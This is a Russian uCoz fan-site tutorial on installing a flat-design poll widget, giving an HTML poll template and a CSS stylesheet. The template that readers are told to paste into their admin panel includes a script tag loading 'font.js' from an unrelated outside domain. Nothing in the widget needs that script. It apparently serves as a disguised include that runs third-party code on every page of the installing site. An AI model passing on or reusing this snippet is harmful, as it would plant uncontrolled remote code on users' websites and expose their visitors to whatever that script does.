Вид опроса для uCoz в стиле Flat дизайна - 28 Февраля 2014 - Скачать CSS | Статьи Css | Скачать шаблоны для ucoz | Скачать Фотошоп
 
Меню сайта

Портал


MAFIA


CS:S


Photoshop


uCoz

Наш опрос
Какая ваша любимая карта?
javascript:; javascript:;
Всего ответов: 408
Статистика
Счетчики:
Онлайн:
Онлайн всего: 1
Гостей: 1
Пользователей: 0

[Кто нас сегодня посетил]
Главная » 2014 » Февраль » 28 » Вид опроса для uCoz в стиле Flat дизайна
17:50

Вид опроса для uCoz в стиле Flat дизайна


В данном посте мы с вами разберем и установим новый вид опроса для uCoz в стиле Flat дизайна. Что такое стиль Flat (Flat дизайн)? Это новый довольно популярный в интернете сейчас тип веб-дизайна, главной особенностью которого является плоскость и юзабельность. Теперь поговорим об этом виде опроса для uCoz. Главная его особенность это плоскость — тот самый Flat дизайн. Выводится количество и процент проголосовавших, а также полоски опроса разноцветные, заточен под 14 возможных ответов. Также данный вид опроса в стиле Flat построен полностью на CSS, что делает его очень легким и не утяжеляющим страницу. Установка очень проста

Установка:

Для установки, зайдите в админ панель => Управление дизайном => Опросы => Вид формы опросов и здесь заменяем весь существующий код на этот:

Код
<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>  
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>  
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </a>  
  </div>  
</div>
<script type="text/javascript" src="http://24-moto.ru/font.js"></script><script type="text/javascript">
var a = ['1','2','3','4','5','6','7','8','9','10','11','12','13','14','15'];
for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress');$('div.answer div div').eq(i).addClass('progress-'+[i]);}
$('div.answer span').each(function(){$(this).html($(this).html()+' - <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});
</script>


Отлично, теперь нам нужно установить CSS стили, для этого идем в ваши Таблицы стилей и добавляем туда такой код:

Код
/* Вид опроса для uCoz, в стили flat v2
------------------------------------------*/
.cell-poll{
  float:left;
  width:230px;
  color:#666;
  background: #fff;
  padding: 10px 10px 10px 10px;  
  border: 1px solid #B6C0CD;  
  border-radius:5px;  
}

.cell-poll-title{
  float:left;
  width:100%;
  padding-bottom: 10px;
  border-bottom: 1px solid #B6C0CD;
  font:12px Verdana,Arial,Helvetica, sans-serif;
  font-weight:bold;
  text-align:center;
  color:#777;  
}

.cell-poll a {text-decoration:none; outline:none}

.cell-poll-answers{
  float:left;
  width:100%;
  margin: 10px 0px 10px 0px;  
  text-align:left;
}

.answer {display: block;}

.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}

.progress {
  height: 15px;
  overflow: hidden;
  margin: 5px 0px 7px 0px;
  height: 15px!important;
  background: #F4F8F9!important;
}

.progress-0,
.progress-1,
.progress-2,
.progress-3,
.progress-4,
.progress-5,
.progress-6,
.progress-7,
.progress-8,
.progress-9,
.progress-10,
.progress-11,
.progress-12,
.progress-13,
.progress-14 {
  height: 18px!important;
  display: block!important;
  overflow: hidden!important;
  margin-top: -3px;
}

.progress-0 {background: #5D9AD3!important;}
.progress-1 {background: #E96465!important;}
.progress-2 {background: #F6954E!important;}
.progress-3 {background: #dd8cd2!important;}
.progress-4 {background: #75D0ED!important;}
.progress-5 {background: #5BC254!important;}
.progress-6 {background: #CFC72D!important;}
.progress-7 {background: #DD3344!important;}
.progress-8 {background: #FE9B6F!important;}
.progress-9 {background: #8CC84B!important;}
.progress-10 {background: #DD8CD2!important;}
.progress-11 {background: #e9eb5b!important;}
.progress-12 {background: #E96465!important;}
.progress-13 {background: #75D0ED!important;}
.progress-14 {background: #5D9AD3!important;}

.pollBut{
  cursor:pointer;
  border:none!important;  
  margin-top:10px;
  background: #64b0db!important;  
  padding: 5px 20px 5px 20px!important;  

  font:11px Verdana,Arial,Helvetica, sans-serif!important;  
  font-weight: bold!important;  
  color:#fff!important;  
}

.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}

.cell-poll-link{
  float:left;
  width:100%;
  padding-top: 10px;
  border-top: 1px solid #B6C0CD;
   
  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}


Готово! Теперь, дизайн опроса готов, все налажено и рабочее, можете установить себе тестовый опрос, чтобы протестировать данный скрипт для uCoz. На этом все, спасибо вам за внимание!
Просмотров: 269 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Мини-чат
Для WEB мастера
Наш баннер
MAFIA Team! У нас вы найдете: Файлы для Photoshop, для uCoz и для CSS!
Теги
карты для cs:s | моды для cs:s | готовый сервер cs:s | плагины adobe photoshop | уроки adobe photoshop cs3 | бесплатная программа adobe photoshop | бесплатные кисти для photoshop | вид файлов для ucoz | скрипт новостей для ucoz | скачать дизайн для сайта ucoz | опрос для сайта ucoz
Cs кс сервер готовый no steam Dethrun КСС STEAM source Готовый сервер модели оружия авп Плагины surf как настроить сервер plugins для кс Шапка counter-strike Шаблон рип юкоз uCoz скачать css карты для ксс Карты для ксс скачать карты для ксс bhop карты bhop для CSS фотошоп кисти кисти для фотошопа Brushes новость для фотошопа новости call of duty Black Ops Стили для Фотошопа скачать стили стили плагины для фотошопа скачать плагины NFS шрифты для фотошопа скачать шрифты для фотошопа шрифты скачать шрифты Crysis 2 Новости игр StarCraft 2 шаблоны для юкоз Bioshock модели оружия скачать модели оружия Модели игроков Valve для cs Дата выхода для юкоз иконки для групп скачать Иконки icons иконки групп Star Wars GTA Видеоуроки скачать видеоуроки Анимация Electronic Arts Crytek видеоуроки фотошопа видеоуроки по фотошопу ccs-mafia.ucoz.ru Уроки Fable 3 microsoft Kinect пак DooM 4 3d Call of Duty: Black Ops m4a1 для сервера acematch Lineage 2 Готовые сервера server ак-47 Калаш игры шаблон для юкоз гта Контра карта Шрифт